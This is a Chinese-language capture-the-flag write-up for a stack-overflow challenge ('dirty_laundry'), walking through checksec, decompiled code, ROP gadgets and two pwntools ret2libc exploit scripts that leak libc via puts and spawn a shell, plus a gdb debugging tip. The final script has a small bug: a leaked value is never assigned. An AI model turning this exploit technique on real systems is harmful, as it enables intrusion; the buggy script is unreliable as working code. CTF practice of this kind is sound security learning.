pragyanCTF - dirty_laundry
没有防护,直接栈溢出
1
2
3
4
5
6
7
8
pwndbg> checksec
File: /ctf/pragyan26/dirty_laundry/chal
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
check_status(0);
puts("--- Laundromat v2.0 ---");
vuln();
return 0;
}
1
2
3
4
5
6
7
8
9
int vuln()
{
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF
puts("The washing machine is running...");
printf("Add your laundry: ");
read(0, buf, 0x100u);
return printf("Laundry complete");
}
其中有一个比较奇怪的函数:
1
2
3
4
5
6
7
8
int __fastcall check_status(int a1)
{
int result; // eax
if ( a1 == -1017233057 )
return puts("Congratulations... jk...");
return result;
}
后续用ROPgadgat查看的时候发现:
1
2
3
4
5
6
7
8
9
(venv14) woc@myarch:/ctf/pragyan26 $ ROPgadget --binary ./dirty_laundry/chal --only "pop|ret"
Gadgets information
============================================================
0x00000000004011a8 : pop r14 ; ret
0x000000000040113d : pop rbp ; ret
0x00000000004011a7 : pop rdi ; pop r14 ; ret
0x00000000004011a9 : pop rsi ; ret
0x000000000040101a : ret
0x0000000000401042 : ret 0x2f
其中pop rdi; pop r14; ret就位于check_status函数中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:0000000000401199 check_status proc near ; CODE XREF: main+E↓p
.text:0000000000401199
.text:0000000000401199 var_4 = dword ptr -4
.text:0000000000401199
.text:0000000000401199 ; __unwind {
.text:0000000000401199 55 push rbp
.text:000000000040119A 48 89 E5 mov rbp, rsp
.text:000000000040119D 48 83 EC 10 sub rsp, 10h
.text:00000000004011A1 89 7D FC mov [rbp+var_4], edi
.text:00000000004011A4 81 7D FC 5F 41 5E C3 cmp [rbp+var_4], 0C35E415Fh
.text:00000000004011AB 75 0F jnz short loc_4011BC
.text:00000000004011AD 48 8D 05 54 0E 00 00 lea rax, s ; "Congratulations... jk..."
.text:00000000004011B4 48 89 C7 mov rdi, rax ; s
.text:00000000004011B7 E8 74 FE FF FF call _puts
原来这个函数是出题人为了降低难度而有意构造的gadget,同时也说明ROPgadget查找的时候也并不局限于固有的指令,如果合适,也可以将一些二进制数据“拆开”利用。
之前在写noteplus的时候,我已经发现了在docker环境内部挂gdbserver,然后在宿主机同时用pwndbg调试、用python脚本交互的方法。这一题不需要docker,想要实现“调试 + 脚本交互”应该会更简单,查阅资料后得知pwntools中的gdb模块就可以胜任:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
def debug():
context.binary = elf = ELF("./chal")
context.terminal = ["tmux", "splitw", "-h"] # 或者 ["kitty", "@", "launch", "--type=os-window"]
gdbscript = """
set pagination off
b main
b system
c
"""
p = gdb.debug([elf.path], gdbscript=gdbscript) # 等价于:gdb -q ./chal 并执行上面脚本
return p
# p = process('./chal')
# p = remote("dirty-laundry.ctf.prgy.in", 1337, ssl=True) # ncat --ssl ,有加密,这里需要设置ssl=True选项
p = debug()
context.binary = elf = ELF("./chal", checksec=False)
# libc = ELF("./libc.so.6.bk", checksec=False)
libc = ELF("/lib64/libc.so.6") # debug用
binsh_off = next(libc.search(b"/bin/sh\x00")) # 这是 libc 内的偏移/静态地址
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
puts_base_addr = libc.symbols["puts"]
system_basea_addr = libc.symbols["system"]
again_addr = 0x401217 # NOTE: 因为破坏了指针,所以后续的ret点也有要求,要在vuln()外侧
def fill_rdi(val, ret_addr):
return p64(0x4011a7) + p64(val) + p64(0) + p64(ret_addr)
def fill_rsi(val, ret_addr):
return p64(0x4011a9) + p64(val) + p64(ret_addr)
def leak_libc(p):
payload = b'a' * 0x48 + fill_rdi(puts_got, puts_plt) + p64(again_addr)
p.recvuntil(b'Add your laundry: ')
p.sendline(payload)
p.recvuntil(b'Laundry complete')
x = p.recvuntil(b'---')[:-4]
print(x)
puts_addr = u64(x + b'\x00'*(8-len(x))) # lead puts puts_addr
print(f'puts addr: {hex(puts_addr)}')
libc_addr = puts_addr - puts_base_addr
print(f'libc addr: {hex(libc_addr)}')
return libc_addr
def exploit(p, system_addr, binsh_addr):
payload = b'\x40' * 0x48 + fill_rdi(binsh_addr, system_addr)
p.recvuntil(b'Add your laundry: ')
p.sendline(payload)
p.interactive()
libc_addr = leak_libc(p)
system_addr = libc_addr + system_basea_addr
binsh_addr = libc_addr + binsh_off
print('-- leak complete --')
print(hex(libc_addr))
print(hex(binsh_addr))
print(hex(system_addr))
input('press to continue...')
exploit(p, system_addr, binsh_addr)
这里有一个细节,因为我们通过溢出覆盖返回地址的时候,会破坏栈上的的rbp备份。而函数内部使用rbp指针来访问栈上数据的,第一次溢出后,执行vuln()末尾的
leave-ret会使rbp指向错误的位置,此时我们需要有意地控制返回的地址,比如返回到main函数的头部:
1 2 3 4 .text:0000000000401217 main proc near ; DATA XREF: _start+18↑o .text:0000000000401217 ; __unwind { .text:0000000000401217 55 push rbp .text:0000000000401218 48 89 E5 mov rbp, rsp这样就立刻用rsp来覆盖错误的rbp,不会影响后续的流程。
本地打通后准备远程,换题目附件的libc,但是运行的时候调试出现问题:
1
Add your laundry: Laundry completeFatal glibc error: ../stdlib/strtod_l.c:1071 (____strtold_l_internal): assertion failed: lead_zero <= (base == 16 ? (uintmax_t) INTMAX_MAX / 4 : (uintmax_t) INTMAX_MAX)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Breakpoint 1, 0x000000000040121b in main ()
(gdb) c
Continuing.
Breakpoint 1, 0x000000000040121b in main ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007f964714a675 in do_system (
line=0x7f96472a6ea4 "/bin/sh")
at ../sysdeps/posix/system.c:117
117 DO_LOCK ();
(gdb) disassemble
Dump of assembler code for function do_system:
0x00007f964714a610 <+0>: push %r14
0x00007f964714a612 <+2>: movq %rdi,%xmm2
0x00007f964714a617 <+7>: mov $0x1,%edx
0x00007f964714a61c <+12>: push %r12
0x00007f964714a61e <+14>: push %rbp
0x00007f964714a61f <+15>: push %rbx
0x00007f964714a620 <+16>: sub $0x398,%rsp
0x00007f964714a627 <+23>: mov %fs:0x28,%rax
0x00007f964714a630 <+32>: mov %rax,0x388(%rsp)
0x00007f964714a638 <+40>: lea 0x15c862(%rip),%rax # 0x7f96472a6ea1
0x00007f964714a63f <+47>: movl $0xffffffff,0x18(%rsp)
0x00007f964714a647 <+55>: movq $0x1,0x190(%rsp)
0x00007f964714a653 <+67>: movl $0x0,0x218(%rsp)
0x00007f964714a65e <+78>: movq $0x0,0x198(%rsp)
0x00007f964714a66a <+90>: movq %rax,%xmm1
0x00007f964714a66f <+95>: xor %eax,%eax
0x00007f964714a671 <+97>: punpcklqdq %xmm2,%xmm1
=> 0x00007f964714a675 <+101>: movaps %xmm1,(%rsp)
0x00007f964714a679 <+105>: lock cmpxchg %edx,0x195edf(%rip) # 0x7f96472e0560 <lock>
在执行movaps的时候出现了问题,猜测是rsp没有对齐导致的,所以需要准备额外的single-ret-gadget来调整。
最后版本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
libc = ELF("./dirty_laundry/libc.so.6", checksec=False)
ld_path = './dirty_laundry/ld-2.35.so'
libc_dir = os.path.abspath('./dirty_laundry')
elf = ELF("./dirty_laundry/chal", checksec=False)
context.terminal = ["tmux", "splitw", "-h"]
gdbscript = r"""
set pagination off
set breakpoint pending on
set auto-solib-add on
b *0x4011d1
b *0x4011e5
b *0x401216
b __stack_chk_fail
c
"""
def debug():
# 关键:由我们自己决定用哪个 ld + library-path 启动
p = process([ld_path, "--library-path", libc_dir, elf.path])
# 再 attach,这时 mappings 已经确定是那套 glibc 了
gdb.attach(p, gdbscript=gdbscript)
return p
# p = debug()
p = remote("dirty-laundry.ctf.prgy.in", 1337, ssl=True)
# p = process(elf.path, env={"LD_PRELOAD": libc.path})
binsh_off = next(libc.search(b"/bin/sh\x00")) # 这是 libc 内的偏移/静态地址
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
puts_base_addr = libc.symbols["puts"]
system_basea_addr = libc.symbols["system"]
again_addr = 0x401217 # NOTE: 因为破坏了指针,所以后续的ret点也有要求,要在vuln()外侧
def fill_rdi(val, ret_addr):
return p64(0x4011a7) + p64(val) + p64(0) + p64(ret_addr)
def fill_rsi(val, ret_addr):
return p64(0x4011a9) + p64(val) + p64(ret_addr)
def leak_libc(p):
payload = b'\x40' * 0x40 + p64(0) + fill_rdi(puts_got, single_ret_gadget) + p64(puts_plt) + p64(again_addr)
p.recvuntil(b'Add your laundry: ')
p.sendline(payload)
p.recvuntil(b'Laundry complete')
p.recvuntil(b'---')[:-4]
puts_addr = u64(x + b'\x00'*(8-len(x))) # lead puts puts_addr
print(f'puts addr: {hex(puts_addr)}')
print(f'puts base addr: {hex(puts_base_addr)}')
libc_addr = puts_addr - puts_base_addr
print(f'libc addr: {hex(libc_addr)}')
return libc_addr
single_ret_gadget = 0x40101a
def exploit(p, system_addr, binsh_addr):
payload = b'\x40' * 0x40 + p64(0) + fill_rdi(binsh_addr, system_addr) + p64(again_addr)
x = p.recvuntil(b'Add your laundry: ', timeout=3)
# x = p.recv(timeout=3)
print(x)
p.sendline(payload)
p.interactive()
libc_addr = leak_libc(p)
system_addr = libc_addr + system_basea_addr
binsh_addr = libc_addr + binsh_off
print('-- leak complete --')
print(hex(libc_addr))
print(hex(binsh_addr))
print(hex(system_addr))
exploit(p, system_addr, binsh_addr)
总结:pwntools中设置gdb调试+指定libc/ld的方法:
- 设置context.terminal
- 用process启动程序的时候,用ld发起,并使用参数列表:
[ld_path, "--library-path", libc_dir, elf.path]
This post is licensed under CC BY 4.0 by the author.